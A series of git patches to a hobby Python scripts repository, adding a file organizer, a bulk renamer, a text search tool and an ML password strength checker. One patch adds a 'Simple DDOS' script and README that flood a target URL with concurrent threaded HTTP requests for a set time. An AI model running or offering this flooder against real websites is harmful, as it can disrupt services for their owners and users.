Notify](https://github.com/DhanushNehru/Python-Scripts/tree/master/Run%20Then%20Notify) | Runs a slow command and emails you when it completes execution. | | Selfie with Python | [Selfie with Python](https://github.com/DhanushNehru/Python-Scripts/tree/master/Selfie%20with%20Python) | Take your selfie with python . | +| Simple DDOS | [Simple DDOS](https://github.com/VanshajR/Python-Scripts/tree/master/Simple%20DDOS) | The code allows you to send multiple HTTP requests concurrently for a specified duration. | | Simple TCP Chat Server | [Simple TCP Chat Server](https://github.com/DhanushNehru/Python-Scripts/tree/master/TCP%20Chat%20Server) | Creates a local server on your LAN for receiving and sending messages! | | Snake Water Gun | [Snake Water Gun](https://github.com/DhanushNehru/Python-Scripts/tree/master/Snake%20Water%20Gun) | A game similar to Rock Paper Scissors. | | Sorting | [Sorting](https://github.com/DhanushNehru/Python-Scripts/tree/master/Sorting) | Algorithm for bubble sorting. | diff --git a/Simple DDOS/README.md b/Simple DDOS/README.md new file mode 100644 index 00000000..9d9d2904 --- /dev/null +++ b/Simple DDOS/README.md @@ -0,0 +1,69 @@ +# Multithreaded HTTP Requests with Python + +This script performs multithreaded HTTP requests using Python's `requests` library and `ThreadPoolExecutor`. The code allows you to send multiple HTTP requests concurrently for a specified duration. + +## Features +- Sends concurrent HTTP requests to a specified URL. +- Supports multiple request methods (GET, POST, etc.). +- Allows customizing headers, cookies, data, and URL parameters. +- The number of threads and the duration of the requests can be controlled. +- Uses ThreadPoolExecutor to handle multithreading efficiently. + +## Requirements +- Python 3.x +- `requests` library + +To install the `requests` library, run: +```bash +pip install requests +``` + +## Usage + +### Function: `make_request` +This function sends a single HTTP request to a given URL with the specified parameters. +- **Arguments**: + - `url` (str): The URL to send the request to. + - `method` (str): The HTTP method to use (default: GET). + - `headers` (dict): Optional HTTP headers to include. + - `cookies` (dict): Optional cookies to include. + - `data` (dict): Optional data for POST requests. + - `params` (dict): Optional URL parameters. + +- **Example**: +make_request("https://example.com", method='POST', data={"key": "value"}) + +### Function: `start_requests` +This function sends multiple HTTP requests concurrently for a specified duration. +- **Arguments**: + - `url` (str): The URL to send the requests to. + - `method` (str): The HTTP method to use (default: GET). + - `headers` (dict): Optional HTTP headers to include. + - `cookies` (dict): Optional cookies to include. + - `data` (dict): Optional data for POST requests. + - `params` (dict): Optional URL parameters. + - `num_threads` (int): The number of threads to use (default: 5). + - `duration` (int): The duration in seconds to send requests (default: 10 seconds). + +- **Example**: +url = "https://example.com/api" +start_requests(url, method='GET', num_threads=5, duration=15) + +## How It Works +1. The `start_requests` function uses `ThreadPoolExecutor` to manage the specified number of threads. +2. Each thread sends an HTTP request to the given URL. +3. The process continues until the specified duration ends. +4. The `make_request` function handles sending the requests and printing the response status codes. + +## Example Usage +url = "https://example.com/api" +start_requests(url, num_threads=5, duration=15) # Sends requests for 15 seconds using 5 threads. + +## Customization +- You can modify the method, headers, cookies, data, or params in the function calls to fit your use case. +- For POST requests, pass data through the `data` argument. + +start_requests("https://example.com/post", method='POST', data={'key': 'value'}, num_threads=10, duration=20) + +## License +This project is licensed under the MIT License. diff --git a/Simple DDOS/ddos.py b/Simple DDOS/ddos.py new file mode 100644 index 00000000..9abf8f64 --- /dev/null +++ b/Simple DDOS/ddos.py @@ -0,0 +1,27 @@ +import requests +from concurrent.futures import ThreadPoolExecutor +import time + +def make_request(url, method='GET', headers=None, cookies=None, data=None, params=None): + try: + + response = requests.request(method, url, headers=headers, cookies=cookies, data=data, params=params) + print(f"Response code: {response.status_code}") + except requests.exceptions.RequestException as e: + print(f"Error occurred: {e}") + +def start_requests(url, method='GET', headers=None, cookies=None, data=None, params=None, num_threads=5, duration=10): + executor = ThreadPoolExecutor(max_workers=num_threads) + end_time = time.time() + duration # Time to stop the requests + + while time.time() < end_time: + for _ in range(num_threads): + executor.submit(make_request, url, method, headers, cookies, data, params) + + executor.shutdown(wait=True) + print("Requests completed.") + +# Usage example +url = "Sample URL" +start_requests(url, num_threads=5, duration=15) #time in seconds +#change methods as required \ No newline at end of file From 88ee0adeb40a8c69e95389d51083fecd327c6003 Mon Sep 17 00:00:00 2001 From: Maximiliano Date: Fri, 18 Oct 2024 11:30:34 -0600 Subject: [PATCH 36/74] Organize Files, Rename Files, and Search Text Files (#342) * Added Pomodoro Timer * Update README.md * Update README.md * Added FileOrganizer,FileRenamer and FileTextSearch --- FileOrganizer/FileOrganizer.py | 26 +++++++++++++++ FileOrganizer/README.md | 22 +++++++++++++ FileRenamer/File_Renamer.py | 31 ++++++++++++++++++ FileRenamer/README.md | 27 ++++++++++++++++ FileTextSearch/FileTextSearch.py | 55 ++++++++++++++++++++++++++++++++ FileTextSearch/README.md | 26 +++++++++++++++ README.md | 3 ++ 7 files changed, 190 insertions(+) create mode 100644 FileOrganizer/FileOrganizer.py create mode 100644 FileOrganizer/README.md create mode 100644 FileRenamer/File_Renamer.py create mode 100644 FileRenamer/README.md create mode 100644 FileTextSearch/FileTextSearch.py create mode 100644 FileTextSearch/README.md diff --git a/FileOrganizer/FileOrganizer.py b/FileOrganizer/FileOrganizer.py new file mode 100644 index 00000000..834db468 --- /dev/null +++ b/FileOrganizer/FileOrganizer.py @@ -0,0 +1,26 @@ +import os +import shutil + +# Prompt the user for the directory path to organize files +path = input("Enter path: ") + +# List all files in the specified directory +files = os.listdir(path) + +# Iterate through each file in the directory +for file in files: + # Split the filename and extension + filename, extension = os.path.splitext(file) + + # Remove the leading dot from the extension for folder naming + extension = extension[1:] + + # Check if a directory for the file extension already exists + if os.path.exists(path + '/' + extension): + # Move the file to the corresponding extension folder + shutil.move(path + '/' + file, path + '/' + extension + '/' + file) + else: + # If the directory does not exist, create it + os.makedirs(path + '/' + extension) + # Move the file to the newly created extension folder + shutil.move(path + '/' + file, path + '/' + extension + '/' + file) diff --git a/FileOrganizer/README.md b/FileOrganizer/README.md new file mode 100644 index 00000000..5606765c --- /dev/null +++ b/FileOrganizer/README.md @@ -0,0 +1,22 @@ +# File Organizer Script +## Description +The `FileOrganizer.py` script is a simple utility for organizing files in a specified directory. It automatically sorts files into subdirectories based on their file extensions, making it easier to manage and locate files. +## Features +- *Automatic Organization:* Files are moved into subfolders named after their extensions (e.g., all `.jpg` files go into a folder named `jpg`). +- *Dynamic Folder Creation:* If a folder for a specific file type doesn't exist, it will be created automatically. +## Usage +1. Ensure you have Python installed on your machine. +2. Download the FileOrganizer.py script. +3. Open a terminal or command prompt and navigate to the directory where the script is located. +4. Run the script using the following command: +python FileOrganizer.py +5. When prompted, enter the path of the directory you want to organize. +Enter path: /path/to/your/directory +6. The script will process the files in the specified directory and create folders for each file type, moving the corresponding files into their respective folders. +## Requirements +- Python 3.x +- Basic understanding of file paths in your operating system. +## License +This script is open-source and free to use. Feel free to modify and distribute as needed. +## Contributing +If you'd like to contribute to this project, please open an issue or submit a pull request with your proposed changes or enhancements. \ No newline at end of file diff --git a/FileRenamer/File_Renamer.py b/FileRenamer/File_Renamer.py new file mode 100644 index 00000000..4576396a --- /dev/null +++ b/FileRenamer/File_Renamer.py @@ -0,0 +1,31 @@ +import os +import re + +# Prompt the user for the directory path where files need to be renamed +directory = input("Enter path: ") + +# Provide instructions on how to use regex for searching specific files +print("To look for specific files, enter what you know, using .* for any characters you don't know.") +print("For example: IMG.* will filter files that start with IMG") + +# Get the regex pattern to match files and the new base name for renaming +pattern = input("Enter pattern: ") +new_name = input("Enter the new name: ") + +def rename_files(directory, pattern, new_name): + # List all files in the specified directory + files = os.listdir(directory) + counter = 0 # Initialize a counter for unique naming + + # Iterate over each file in the directory + for file in files: + # Check if the file matches the given pattern + if re.match(pattern, file): + # Get the file extension + filetype = file.split('.')[-1] + # Rename the file with the new base name and counter + os.rename(directory + '/' + file, directory + '/' + new_name + str(counter) + '.' + filetype) + counter += 1 # Increment the counter for the next file + +# Call the function to rename files +rename_files(directory, pattern, new_name) diff --git a/FileRenamer/README.md b/FileRenamer/README.md new file mode 100644 index 00000000..72e7b43e --- /dev/null +++ b/FileRenamer/README.md @@ -0,0 +1,27 @@ +# File Renamer Script +## Description +The `FileRenamer.py` script is a utility designed to rename multiple files in a specified directory based on a given regex pattern. This script helps users quickly standardize file names, making file management easier. +## Features +- *Batch Renaming:* Rename multiple files that match a specified regex pattern. +- *Custom Naming:* Users can provide a new base name for the renamed files, with a counter appended to ensure unique names. +## Usage +1. Ensure you have Python installed on your machine. +2. Download the `FileRenamer.py` script. +3. Open a terminal or command prompt and navigate to the directory where the script is located. +4. Run the script using the following command: +python `FileRenamer.py` +5. When prompted, enter the path of the directory containing the files you want to rename. +Enter path: /path/to/your/directory +6. Enter the regex pattern for the files you want to rename. For example: +Enter pattern: IMG.* +7. Enter the new base name for the renamed files. +Enter the new name: NewImageName +8. The script will rename all matching files in the specified directory according to the new name format. +## Requirements +- Python 3.x +- Basic understanding of file paths in your operating system. +- Familiarity with regex patterns for filtering files. +## License +This script is open-source and free to use. Feel free to modify and distribute as needed. +## Contributing +If you'd like to contribute to this project, please open an issue or submit a pull request with your proposed changes or enhancements. \ No newline at end of file diff --git a/FileTextSearch/FileTextSearch.py b/FileTextSearch/FileTextSearch.py new file mode 100644 index 00000000..443711fe --- /dev/null +++ b/FileTextSearch/FileTextSearch.py @@ -0,0 +1,55 @@ +import os +import uuid + +# Initialize a list to store files containing the keyword +contains = [] + +# Generate a unique identifier for this search session (not currently used) +id_ = uuid.uuid4() + +# List of file extensions to search within +extensions = [".txt", ".docx", ".pdf"] + +def change_direct(): + # Prompt the user to enter the directory path + path = input("Enter path: ") + # Prompt the user to enter the keyword or phrase to search for + keyword = input("Keyword/Phrase: ") + # Start searching the specified folder + search_folder(path, keyword) + +def search_folder(path, keyword): + global contains # Declare the global variable to store found files + # Check if the given path is a directory + if os.path.isdir(path): + # List all files and directories in the specified path + files = os.listdir(path) + # Iterate over each file in the directory + for file in files: + # Construct the full path to the file or directory + full_path = os.path.join(path, file) + + # If the current path is a directory, recursively search inside it + if os.path.isdir(full_path): + search_folder(full_path, keyword) + else: + # Get the file extension and convert it to lowercase + filetype = os.path.splitext(file)[-1].lower() + # Check if the file type is in the allowed extensions + if filetype in extensions: + try: + # Open the file and read its content + with open(full_path, 'r', encoding='utf-8', errors='ignore') as file_: + # Check if the keyword is found in the file content + if keyword in file_.read(): + contains.append(file) # Add the file to the list of found files + print(keyword, "found in", file) # Print the result + except Exception as e: + # Print any errors encountered while reading the file + print(f"Error reading {full_path}: {e}") + else: + # Print an error message if the provided path is not a directory + print(f"{path} is not a directory.") + +# Start the process by calling the change_direct function +change_direct() diff --git a/FileTextSearch/README.md b/FileTextSearch/README.md new file mode 100644 index 00000000..3540b5c5 --- /dev/null +++ b/FileTextSearch/README.md @@ -0,0 +1,26 @@ +# File Text Search Script +## Description +The `FileTextSearch.py` script is a utility designed to search for a specific keyword or phrase within text-based files located in a specified directory. The script searches through files with the following extensions: `.txt`, `.docx`, and `.pdf`. It can recursively search through subdirectories, making it easier to locate documents containing the desired information. +## Features +- Recursive Searching: The script can search within specified subdirectories. +- Keyword Matching: Users can input a keyword or phrase to find within the text files. +- Supported Formats: The script can read `.txt`, `.docx`, and `.pdf` file formats. +## Usage +1. Ensure you have Python installed on your machine. +2. Download the `FileTextSearch.py` script. +3. Open a terminal or command prompt and navigate to the directory where the script is located. +4. Run the script using the following command: +python FileTextSearch.py +5. When prompted, enter the path of the directory you want to search. +Enter path: /path/to/your/directory +6. Enter the keyword or phrase you want to search for in the files. +Keyword/Phrase: your_keyword +7. The script will search through the specified directory and print out the names of any files where the keyword is found. +## Requirements +- Python 3.x +- Basic understanding of file paths in your operating system. +- The script will read text-based files, so ensure the files are not encrypted or password protected. +## License +This script is open-source and free to use. Feel free to modify and distribute as needed. +## Contributing +If you'd like to contribute to this project, please open an issue or submit a pull request with your proposed changes or enhancements. \ No newline at end of file diff --git a/README.md b/README.md index eb760638..813176a7 100644 --- a/README.md +++ b/README.md @@ -65,6 +65,9 @@ More information on contributing and the general code of conduct for discussion | File Encryption Decryption | [File Encryption Decryption](https://github.com/DhanushNehru/Python-Scripts/tree/master/File%20Encryption%20Decryption) | Encrypts and Decrypts files using AES Algorithms for Security purposes. | | File Search | [File_search](https://github.com/debojit11/Python-Scripts/tree/master/File_Search) | A python script that searches a specified folder for all files, regardless of file type, within its directory and subdirectories. | Font Art | [Font Art](https://github.com/DhanushNehru/Python-Scripts/tree/master/Font%20Art) | Displays a font art using Python. | +| File Organizer | [FileOrganizer](https://github.com/DhanushNehru/Python-Scripts/tree/master/FileOrganizer) | Organizes files into different folders according to their file type +| File Renamer | [FileRenamer](https://github.com/DhanushNehru/Python-Scripts/tree/master/FileRenamer) | Bulk renames files with the same start/end +| File Text Search | [FileTextSearch](https://github.com/DhanushNehru/Python-Scripts/tree/master/FileTextSearch) | Searches for a keyword/phrase accross different files | Freelance Helper Program | [freelance-helper](https://github.com/DhanushNehru/Python-Scripts/tree/master/freelance-help-program) | Takes an Excel file with working hours and calculates the payment. | | Get Hexcodes From Websites | [Get Hexcodes From Websites](https://github.com/DhanushNehru/Python-Scripts/tree/master/Get%20Hexcodes%20From%20Websites) | Generates a Python list containing Hexcodes from a website. | | Hand_Volume | [Hand_Volume](https://github.com/DhanushNehru/Python-Scripts/tree/master/Hand%20Volume) | Detects and tracks hand movements to control volume. | From 477f1022231e8c0c10e1dfaddbef76b18130b98d Mon Sep 17 00:00:00 2001 From: Charalampos Deligiannakis <49127082+iHaz32@users.noreply.github.com> Date: Mon, 21 Oct 2024 15:45:03 +0300 Subject: [PATCH 37/74] Add Password Strength Checker script with ML and NN (#349) * Add password strengtch checker source code * Update README.md * Fix README.md * Fix typo in model README.md --- Password Strength Checker/README.md | 27 +++++++ Password Strength Checker/main.py | 8 +++ Password Strength Checker/model/README.md | 15 ++++ .../model/deep_learning_model.h5 | Bin 0 -> 142576 bytes Password Strength Checker/model/model.py | 68 ++++++++++++++++++ Password Strength Checker/model/scaler.pkl | Bin 0 -> 851 bytes .../model/utils/functions.py | 18 +++++ .../model/utils/preprocessing.py | 32 +++++++++ .../model/utils/training.py | 47 ++++++++++++ Password Strength Checker/requirements.txt | 46 ++++++++++++ README.md | 1 + 11 files changed, 262 insertions(+) create mode 100644 Password Strength Checker/README.md create mode 100644 Password Strength Checker/main.py create mode 100644 Password Strength Checker/model/README.md create mode 100644 Password Strength Checker/model/deep_learning_model.h5 create mode 100644 Password Strength Checker/model/model.py create mode 100644 Password Strength Checker/model/scaler.pkl create mode 100644 Password Strength Checker/model/utils/functions.py create mode 100644 Password Strength Checker/model/utils/preprocessing.py create mode 100644 Password Strength Checker/model/utils/training.py create mode 100644 Password Strength Checker/requirements.txt diff --git a/Password Strength Checker/README.md b/Password Strength Checker/README.md new file mode 100644 index 00000000..ea4db086 --- /dev/null +++ b/Password Strength Checker/README.md @@ -0,0 +1,27 @@ +# Password Strength Checker + +## Description +A password strength checker that utilizes machine learning to classify the strength of passwords. This project provides a simple interface for users to input their passwords and receive feedback on their strength based on various criteria. + +## Features +- Classifies password strength into multiple categories. + +## Installation +1. Clone the repository: + ```bash + git clone https://github.com/DhanushNehru/Python-Scripts + cd "Password Strength Checker" + +2. Create and activate a virtual environment: + ```bash + python3 -m venv venv + source venv/bin/activate # On Windows use `venv\Scripts\activate` + +3. Install the required packages: + ```bash + pip install -r requirements.txt + +## Usage +To run the password strength checker: + ```bash + python main.py \ No newline at end of file diff --git a/Password Strength Checker/main.py b/Password Strength Checker/main.py new file mode 100644 index 00000000..2ae79e81 --- /dev/null +++ b/Password Strength Checker/main.py @@ -0,0 +1,8 @@ +from model.model import predict # import model + +def main(): + password_to_test = input("Enter a password to check its strength: ") # get password from terminal + predicted_class = int(predict(password_to_test)) # evaluate password strength + print(f"Password strength classification: {predicted_class} / 2") # output 0 - weak, 1 - moderate, or 2 - strong + +if __name__ == "__main__": main() \ No newline at end of file diff --git a/Password Strength Checker/model/README.md b/Password Strength Checker/model/README.md new file mode 100644 index 00000000..98f3e1d0 --- /dev/null +++ b/Password Strength Checker/model/README.md @@ -0,0 +1,15 @@ +# Password Strength Classification Model + +## Overview +This model is designed to evaluate the strength of passwords using machine learning techniques. It analyzes input passwords and classifies them based on their strength, providing feedback for users to create stronger passwords. + +## Model Architecture +- **Input Layer**: The model accepts passwords as input. +- **Dense Layers**: A series of dense layers with activation functions (e.g., ReLU) process the input features. +- **Output Layer**: The final layer outputs a classification score indicating password strength (e.g., weak - 0, medium - 1, strong - 2). + +## Training +- The model is trained on a labeled dataset of passwords classified by strength. + +## Future improvements +- In feature engineering, columns about the amount of common used passwords (etc. 'password') or common used words should be added and be taken into consideration properly in model training. diff --git a/Password Strength Checker/model/deep_learning_model.h5 b/Password Strength Checker/model/deep_learning_model.h5 new file mode 100644 index 0000000000000000000000000000000000000000..6fd66c9e7f2953a4b42c9c20a95ab689fefe9183 GIT binary patch literal 142576 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 